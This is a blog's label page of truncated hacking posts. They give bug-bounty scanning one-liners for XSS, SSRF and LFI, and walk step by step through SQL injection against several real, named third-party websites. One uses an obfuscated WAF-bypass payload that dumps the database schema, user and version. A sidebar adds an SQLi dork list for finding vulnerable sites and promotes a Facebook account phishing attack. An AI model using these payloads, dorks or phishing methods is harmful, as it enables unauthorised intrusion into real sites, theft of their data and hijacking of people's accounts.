Posts

Showing posts with the label SQLi

Bug BOunty Helpful Commands

  cat file.txt | gf xss | grep ‘source=’ | qsreplace ‘”><script>confirm(1)</script>’ | while read host do ; do curl –silent –path-as-is –insecure “$host” | grep -qs “<script>confirm(1)” && echo “$host 33[0;31mVulnerablen”;done >>. to get urls from websites.... waybackurls target.com | tee urlss.txt dalfox file urlss.txt pipe   XSS   cat file.txt | gf xss | grep ‘source=’ | qsreplace ‘”><script>confirm(1)</script>’ | while read host do ; do curl –silent –path-as-is –insecure “$host” | grep -qs “<script>confirm(1)” && echo “$host 33[0;31mVulnerablen”;done SSRF findomain -t example.com -q | httpx -silent -threads 1000 | gau |  grep “=” | qsreplace http://YOUR.burpcollaborator.net LFI Follow this command to find LFI findomain -t example.com -q |  waybackurls |gf lfi | qsreplace FUZZ | while read url ; do ffuf -u $url -mr “root:x” -w ~/wordlist/LFI.txt ; done find JS files on target.com https:/...
Post a Comment
Read more

SQLi-5 Solution

SQLi Solution SQLi Solution http://bwcrank(.)com/Download.php?cid=.10 and@x:=(concat/**_**/((conv(1654995359940503,10,36)),0x3c62723e,0x3c62723e,((/*!50000%53eleCt/**_**/*/+(/*!50000variable_value/**_**/*/)/*!50000from/**_**/*/+/*!50000i%6e%66orMATion_sCHEma.gLOBal_vARIables/**_**/*/+/*!50000where/**_**/*/+/*!50000variable_name/**_**/*/=0x76657273696f6e) ),(/*!50000%53eleCt/**_**/*/(@x)froM(/*!50000%53eleCt/**_**/*/(@x:=0x00),(/*!50000%53eleCt/**_**/*/(0)From(/*!50000information_schema.columns/**_**/*/)where(table_schema=database/**_**/())and(0x00)in(@x:=concat/**_**/(@x,0x3c6c693e,table_name,0x203a3a20,column_name))))x) )) /*!12345%55nioN/**_**/*/ /*!50000%53eleCT/**_**/*/ conCAT/**_**/(0x222f3e,0x3c2f6469763e,0x3c62723e,0x3c666f6e7420636f6c6f723d77686974653e,0x3c62723e,(conv(1654995359940503,10,36)),0x3c62723e,0x3c62723e,0x64617461626173653a3a,schema/**_**/(),0x3c62723e,0x757365723a3a,user/**_**/(),0x3c62723e,0x7665...
Post a Comment
Read more

SQLi-3 Solution

  solution for {SQLi CHALLENGE } . the link to test . http://www.e-kinologija(.)com/prijave/show_entry.php?manifestation_id=184 . first let's get column count . manifestation_id=184  order by 7 -- - error . manifestation_id=184  order by 6 -- - no error column count is 6  . http://www.e-kinologija(.)com/prijave/show_entry.php?manifestation_id=184 and 0 union /*!50000select*/ 1,2,3,4,5,6 -- - . now there no Vulnerable Columns On Page . I think you will now make all column null or search in source page . but not all column need to be false , some column need to be true to fix like 1,1,1-- - . http://www.e-kinologija(.)com/prijave/show_entry.php?manifestation_id=184 and 0 union /*!50000select*/ 1,1,1,1,1,1 -- - . work good . column 5 need to fix by make it true . http://www.e-kinologija(.)com/prijave/show_entry.php?manifestation_id=184 and 0 union /*!50000select*/ 1,2,3,4,1,6 -- - . and as ' false '  I can add ' true '  to column to fix it like . 1,2,3,4,true,...
Post a Comment
Read more

SQLi-3 Solution

  My solution for  {challenge -1} Level :: normal Site>> https://www.direct-seychelles(.)com/v02/fr/hotels_FicheR-tarifs.php?id=312 .................................................................................  https://www.direct-seychelles(.)com/v02/fr/hotels_FicheR-tarifs.php?id=312' Some content of this site is mmissing when added ('). ................................................................................ Let's Count The Number Of Colum. https://www.direct-seychelles(.)com/v02/fr/hotels_FicheR-tarifs.php?id=312' order by 100-- - ❌ https://www.direct-seychelles(.)com/v02/fr/hotels_FicheR-tarifs.php?id=312' order by 1-- - ❌ Same result. ................................................................................ Ok we when add an (@) befor the parameter value, we can see some content of this site is change. https://www.direct-seychelles(.)com/v02/fr/hotels_FicheR-tarifs.php?id=@312' order by 100-- - ❌ https://www.direct-seychelles.com/.....
Post a Comment
Read more

SQLi-2 Solution

          <----Solution---->  -------------------------------------------------------------------------- /**_**/ Let's start /**_**/ Site: https://androssov.ru/briefly/post.php?id=1 **okh let's chek the site is vulnerable or not --> https://androssov.ru/briefly/post.php?id=1' Okh we when add an (') after the parameter value, we can see some content of this site is mmissing. **Ok let's Try to fix the site- -->https://androssov.ru/briefly/post.php?id=1'--+- okh the is fixed  **Let's Count The Number Of Colum. ---> https://androssov.ru/briefly/post.php?id=1' order by 10--+-    Error❌ -->https://androssov.ru/briefly/post.php?id=1' order by 9--+- Fixed  That's means in this site have 9 colum..✅ **Okh Let's select the union --> https://androssov.ru/briefly/post.php?id=1'UNION SELECT 1,2,3,4,5,6,7,8,9--+-❎ Ups it's shows 403 Forbidden❌ **Let's try another way to fix the error. --> https://androssov.ru/briefly/post...
Post a Comment
Read more

Popular posts from this blog

Very Huge Dorks for SQLi || Web Hacking

Image
Huge Sql injection Dork list By Shehzad Roy Just copy it and Followed it........... view_items.php?id= home.php?cat= item_book.php?CAT= www/index.php?page= schule/termine.php?view= goods_detail.php?data= storemanager/contents/item.php?page_code= view_items.php?id= customer/board.htm?mode= help/com_view.html?code= n_replyboard.php?typeboard= eng_board/view.php?T****= prev_results.php?prodID= bbs/view.php?no= gnu/?doc= zb/view.php?uid= global/product/product.php?gubun= m_view.php?ps_db= productlist.php?tid= product-list.php?id= onlinesales/product.php?product_id= garden_equipment/Fruit-Cage/product.php?pr= product.php?shopprodid= product_info.php?products_id= productlist.php?tid= showsub.php?id= productlist.php?fid= products.php?cat= products.php?cat= product-list.php?id= product.php?sku= store/product.php?productid= products.php?cat= productList.php?cat= product_detail.php?product_id= product.php?pid= view_items.php?id= more_details.php?id= county-facts/diary/vcsgen.php?id= idlechat/mes...
Read more

How to Hack Facebook Account New Method 2021 || Advanced Phishing Attack

Image
 How to Hack Facebook Account New Method 2021 || Advanced Phishing Attack  In this article, I am going to show you that how hackers hacked Facebook Account by Advanced Phishing Attack? There is a lot of phishing tricks but these links are block by some official sites. For the Hacking Facebook i create my own scripts for advanced phishing attack on facebook.   My  phishing method will like be Facebook Official link i.e e.g https://www.facebook.com@verify?yxay...... This link is so Awaesome and can't believe someone that it is fake..... so lets start...... In my case  i  perform this attack in Kali Linux. Requirements :  1. Port Forwarding      or 2. Any web Host  so please follow this Video ........ Video link ..........  https://youtu.be/mOAhtsMGwik
Read more

Bug BOunty Helpful Commands

  cat file.txt | gf xss | grep ‘source=’ | qsreplace ‘”><script>confirm(1)</script>’ | while read host do ; do curl –silent –path-as-is –insecure “$host” | grep -qs “<script>confirm(1)” && echo “$host 33[0;31mVulnerablen”;done >>. to get urls from websites.... waybackurls target.com | tee urlss.txt dalfox file urlss.txt pipe   XSS   cat file.txt | gf xss | grep ‘source=’ | qsreplace ‘”><script>confirm(1)</script>’ | while read host do ; do curl –silent –path-as-is –insecure “$host” | grep -qs “<script>confirm(1)” && echo “$host 33[0;31mVulnerablen”;done SSRF findomain -t example.com -q | httpx -silent -threads 1000 | gau |  grep “=” | qsreplace http://YOUR.burpcollaborator.net LFI Follow this command to find LFI findomain -t example.com -q |  waybackurls |gf lfi | qsreplace FUZZ | while read url ; do ffuf -u $url -mr “root:x” -w ~/wordlist/LFI.txt ; done find JS files on target.com https:/...
Read more